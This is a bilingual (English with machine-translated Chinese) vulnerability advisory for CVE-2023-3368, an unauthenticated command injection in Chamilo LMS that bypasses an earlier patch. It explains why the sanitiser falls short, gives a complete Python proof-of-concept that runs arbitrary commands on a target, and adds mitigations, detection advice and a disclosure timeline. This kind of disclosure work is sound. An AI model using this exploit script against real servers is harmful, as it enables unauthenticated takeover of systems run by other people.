Summary 总结
Product 产品 | Chamilo 查米洛 |
---|---|
Vendor 供应商 | Chamilo 查米洛 |
Severity 严厉 | High – Adversaries may exploit software vulnerabilities to obtain unauthenticated remote code execution. 高 – 攻击者可能会利用软件漏洞获取未经身份验证的远程代码执行。 |
Affected Versions 受影响的版本 | <= v1.11.20 |
Tested Versions 经测试的版本 | v1.11.20 (latest version as of writing) v1.11.20(截至撰写本文时的最新版本) |
CVE Identifier CVE 标识符 | CVE-2023-3368 CVE-2023-3368 漏洞 |
CVE Description CVE描述 | Command injection in /main/webservices/additional_webservices.php in Chamilo LMS <= v1.11.20 allows unauthenticated attackers to obtain remote code execution via improper neutralisation of special characters. This is a bypass of CVE-2023-34960.Chamilo LMS <= v1.11.20 中的命令注入允许未经身份验证的攻击者通过不当 /main/webservices/additional_webservices.php 中和特殊字符来获取远程代码执行。这是对 CVE-2023-34960 的绕过。 |
CWE Classification(s) CWE分类 | CWE-78: Improper Neutralization of Special Elements used in an OS Command CWE-78:操作系统命令中使用的特殊元素的不当中和 |
CAPEC Classification(s) CAPEC分类 | CAPEC-88 OS Command Injection CAPEC-88 操作系统命令注入 |
CVSS3.1 Scoring System CVSS3.1 评分系统
Base Score: 9.8 (Critical)
基本分数:9.8 (critical)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:N/C:H/I:H/A:H
向量字符串: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:N/C:H/I:H/A:H
Metric 度量 | Value 价值 |
---|---|
Attack Vector (AV) 攻击媒介 (AV) | Network 网络 |
Attack Complexity (AC) 攻击复杂度 (AC) | Low |
Privileges Required (PR) 所需权限 (PR) | None 没有 |
User Interaction (UI) 用户交互 (UI) | None 没有 |
Scope (S) 范围 (S) | Unchanged 变 |
Confidentiality (C) 保密性 (C) | High 高 |
Integrity (I) 诚信 (I) | High 高 |
Availability (A) 可用性 (A) | High 高 |
Product Overview 产品概述
Chamilo is an open-source PHP-based Learning Management System (LMS) that facilitates online education and training. It offers features such as course creation, content management, assessments, collaboration and delivering educational resources.
Chamilo 是一个基于 PHP 的开源学习管理系统 (LMS),可促进在线教育和培训。它提供课程创建、内容管理、评估、协作和提供教育资源等功能。
Vulnerability Summary 漏洞摘要
The patch for CVE-2023-34960 (unauthenticated command injection) is insufficient, allowing for multiple bypasses of the sanitisation applied to user input used in constructing shell commands. Consequently, unauthenticated attackers may exploit the vulnerability to gain remote code execution.
CVE-2023-34960(未经身份验证的命令注入)的补丁不足,允许多次绕过应用于构建 shell 命令时使用的用户输入的清理。因此,未经身份验证的攻击者可利用此漏洞远程执行代码。
Note: The original vulnerability (CVE-2023-34960) was found to be exploited in the wild. As such, we strongly recommend Chamilo users to apply the latest security patches to mitigate this and 9 other high-severity vulnerabilities reported by STAR Labs.
注意:原始漏洞 (CVE-2023-34960) 被发现在野外被利用。因此,我们强烈建议 Chamilo 用户应用最新的安全补丁来缓解 STAR Labs 报告的此漏洞和其他 9 个高严重性漏洞。
Vulnerability Details 漏洞详情
Chamilo maintainers applied the following patch to main/webservices/additional_webservices.php
in an attempt to address CVE-2023-34960:
Chamilo 维护者应用了以下补丁 main/webservices/additional_webservices.php
,试图解决 CVE-2023-34960:
---
main/inc/lib/security.lib.php | 10 ++++++++++
main/webservices/additional_webservices.php | 11 +++++++----
2 files changed, 17 insertions(+), 4 deletions(-)
diff --git a/main/inc/lib/security.lib.php b/main/inc/lib/security.lib.php
index ac1b90e5618..c6490c5b1e2 100755
--- a/main/inc/lib/security.lib.php
+++ b/main/inc/lib/security.lib.php
@@ -632,4 +632,14 @@ private static function generateSecTokenVariable(string $prefix = ''): string
return $prefix.'_sec_token';
}
+ /**
+ * Sanitize a string, so it can be used in the exec() command without
+ * "jail-breaking" to execute other commands.
+ * @param string $param The string to filter
+ * @return string
+ */
+ public static function sanitizeExecParam(string $param): string
+ {
+ return preg_replace('/[`;&|]/', '', $param);
+ }
}
diff --git a/main/webservices/additional_webservices.php b/main/webservices/additional_webservices.php
index effb6ccdf5c..965825bbcc0 100755
--- a/main/webservices/additional_webservices.php
+++ b/main/webservices/additional_webservices.php
@@ -29,10 +29,13 @@ function wsConvertPpt($pptData)
}
}
$fileData = $pptData['file_data'];
- $dataInfo = pathinfo($pptData['file_name']);
- $fileName = basename($pptData['file_name'], '.'.$dataInfo['extension']);
- $fullFileName = $pptData['file_name'];
- $size = $pptData['service_ppt2lp_size'];
+ // Clean filename to avoid hacks. Prevents "&" and ";" to be used in filename, notably
+ $sanitizedFileName = Security::sanitizeExecParam($pptData['file_name']);
+ $dataInfo = pathinfo($sanitizedFileName);
+ $fileName = basename($sanitizedFileName, '.'.$dataInfo['extension']);
+ // Add additional cleaning of .php and .htaccess files
+ $fullFileName = Security::filter_filename($sanitizedFileName);
+ $size = Security::sanitizeExecParam($pptData['service_ppt2lp_size']);
$w = '800';
$h = '600';
if (!empty($size)) {
However, on closer scrunity, it is clear that the sanitisation performed by Security::sanitizeExecParam()
is insufficient – only certain shell meta-characters (backticks, semi-colons, ampersand, and pipe characters) are removed from the user input used in constructing a shell command.
然而,仔细观察,很明显,执行 Security::sanitizeExecParam()
的清理是不够的——只有某些 shell 元字符(反引号、分号、与号和竖线字符)从用于构造 shell 命令的用户输入中删除。
This means that the following techniques will still allow for command injection payloads to work just fine:
这意味着以下技术仍将允许命令注入有效负载正常工作:
- Using
$()
command substitutions
使用$()
命令替换 - Injecting newlines in the shell commands to be executed, causing each line to be treated as separate shell commands to be executed.
在要执行的 shell 命令中注入换行符,使每一行都被视为要执行的单独 shell 命令。
The command injection subsequently happens below:
命令注入随后发生如下:
...
$cmd = pptConverterGetCommandBaseParams();
$cmd .= ' -w '.$w.' -h '.$h.' -d oogie "'.$tempPath.$fullFileName.'" "'.$tempPathNewFiles.$fileName.'.html"';
...
$shell = exec($cmd, $files, $return);
Exploit Conditions 漏洞利用条件
No additional constraints were identified. An unauthenticated attacker is expected to be able to execute this exploit scenario reliably.
没有发现其他限制因素。未经身份验证的攻击者应该能够可靠地执行此漏洞利用情形。
Proof-of-Concept 概念验证
- Save the following proof-of-concept exploit script as
unauth-command-injection.py
:
将以下概念验证漏洞利用脚本另存为unauth-command-injection.py
:
#!/usr/bin/env python3
import argparse
import requests
SOAP_REQUEST_TEMPLATE = '''<?xml version="1.0" encoding="UTF-8"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="{url}" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ns2="http://xml.apache.org/xml-soap" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:wsConvertPpt><param0 xsi:type="ns2:Map"><item><key xsi:type="xsd:string">file_data</key><value xsi:type="xsd:string"></value></item><item><key xsi:type="xsd:string">file_name</key><value xsi:type="xsd:string">{payload}</value></item><item><key xsi:type="xsd:string">service_ppt2lp_size</key><value xsi:type="xsd:string">720x540</value></item></param0></ns1:wsConvertPpt></SOAP-ENV:Body></SOAP-ENV:Envelope>
'''
def execute_command(url, command, technique):
payload = f'$({command})' if technique == 'substitution' else f""""\n{command}\n"""
data = SOAP_REQUEST_TEMPLATE.format(url=url, payload=payload)
try:
response = requests.post(f'{url}/main/webservices/additional_webservices.php', data=data, headers={'Content-Type': 'application/xml'})
return (response.status_code == 200 and "wsConvertPptResponse" in response.text)
except:
return False
def main():
parser = argparse.ArgumentParser()
parser.add_argument('-u', '--url', help='Url of your Chamilo', required=True)
parser.add_argument('-c', '--command', help='Command to execute', required=False)
parser.add_argument('-t', '--technique', default='substitution', choices=['substitution', 'newline'], help='Command to execute', required=False)
args = parser.parse_args()
if args.command is None:
if execute_command(args.url, 'id', args.technique):
print(f'URL vulnerable: {args.url}')
else:
print(f'URL not vulnerable: {args.url}')
else:
if execute_command(args.url, args.command, args.technique):
print(f'Command executed: {args.command}')
else:
print(f'An error has occured, URL is not vulnerable: {args.url}')
if __name__ == '__main__':
main()
- Run the exploit script using
python3 unauth-command-injection.py http://<target-chamilo>:<port> -c '<command>'
. For example, the following command saves theid
shell command output to/tmp/pwned
on the target:
使用python3 unauth-command-injection.py http://<target-chamilo>:<port> -c '<command>'
运行漏洞利用脚本。例如,以下命令将id
shell 命令输出保存到/tmp/pwned
目标上:$ python3 unauth-command-injection.py -u http://chamilo -c 'id > /tmp/pwned'
- On the target, verify that the
/tmp/pwned
file exists after executing the proof-of-concept exploit script:
在目标上,在执行概念验证漏洞利用脚本后验证/tmp/pwned
文件是否存在:$ cat /tmp/pwned uid=33(www-data) gid=33(www-data) groups=33(www-data)
Suggested Mitigations 建议的缓解措施
It is recommended to use escapeshellarg()
to properly escape user-input used to construct shell commands, as well as remove dollar signs ($
) and newlines (\n
) in Security::sanitizeExecParam()
as well.
建议用于正确转义用于 escapeshellarg()
构造 shell 命令的用户输入,以及删除美元符号 ( ) 和换行符 ( $
\n
) 。 Security::sanitizeExecParam()
End users are encouraged to update to the latest version of Chamilo.
鼓励最终用户更新到最新版本的 Chamilo。
Detection Guidance 检测指导
It is possible to detect the exploitation of this vulnerability by checking the server’s access logs for all requests made to /main/webservices/additional_webservices.php
.
通过检查服务器的访问日志中是否有向 发出的所有请求,可以检测此漏洞的利用 /main/webservices/additional_webservices.php
情况。
Timeline 时间线
- 2023-07-05 Vendor Disclosure
2023-07-05 供应商披露 - 2023-07-06 Initial Vendor Contact
2023-07-06 初步供应商联系 - 2023-07-18 Vendor published the vulnerability sumamry
2023-07-18 供应商发布漏洞摘要 - 2023-07-17 Mutual agreement to delay the publication of vulnerability details was reached in light of the recent in-the-wild exploitation of Chamilo N-day vulnerability (CVE-2023-34960)
2023-07-17 鉴于最近对 Chamilo N-day 漏洞 (CVE-2023-34960) 的野外利用,双方达成了延迟发布漏洞详细信息的协议 - 2023-08-03 Vendor Patch Release (v1.11.22) completely fixing vulnerability
2023-08-03 供应商补丁发布(v1.11.22)完全修复漏洞 - 2023-11-28 Public Disclosure
2023-11-28 公开披露